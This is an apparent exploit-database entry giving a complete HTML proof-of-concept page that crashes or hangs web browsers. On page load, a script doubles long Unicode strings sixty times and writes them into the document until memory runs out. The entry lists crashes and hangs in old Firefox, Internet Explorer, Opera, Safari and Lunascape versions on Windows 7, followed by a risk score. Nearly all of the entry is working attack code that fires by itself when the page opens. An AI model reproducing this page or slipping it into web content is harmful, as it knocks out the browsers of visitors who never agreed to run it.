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All Browsers - Long Unicode DoS PoC
<html>
<title>Dr_IDE - All Browsers - Long Unicode DoS PoC</title>
<head>
<script>
function boom()
{
//The number of strings increases the amount of memory consumed, quicker crash where applicable.
var longunistring1 = unescape("%u4141%u4141");
var longunistring2 = unescape("%u4242%u4242");
var longunistring3 = unescape("%u4343%u4343");
var longunistring4 = unescape("%u4444%u4444");
for(i=0; i <= 60 ; ++i) //This number is very sensitive. If you go far over 60 IE won't "work"
{
longunistring1+=longunistring1;
longunistring2+=longunistring2;
longunistring3+=longunistring3;
longunistring4+=longunistring4;
document.write(longunistring1);
document.write(longunistring2);
document.write(longunistring3);
document.write(longunistring4);
}
document.write(longunistring1);
document.write(longunistring2);
document.write(longunistring3);
document.write(longunistring4);
}
</script>
</head>
<body onLoad="boom()">
<br>Tested on Windows 7:
<br>Firefox 3.6.4 (CrashReporter)
<br>IE 8.0.7600.16385 (Hangs, must quit)
<br>Lunascape6 (Crashes with Gecko Engine)[Firefox mode]
<br>Lunascape6 (Crashes with Webkit Engine)[Safari mode]
<br>Lunascape6 (Crashes with Trident Engine)[IE mode]
<br>Opera 10.51 (Hangs, must kill)
<br>Safari 4.0.5 (Hangs, must kill)
</body>
</html>
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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1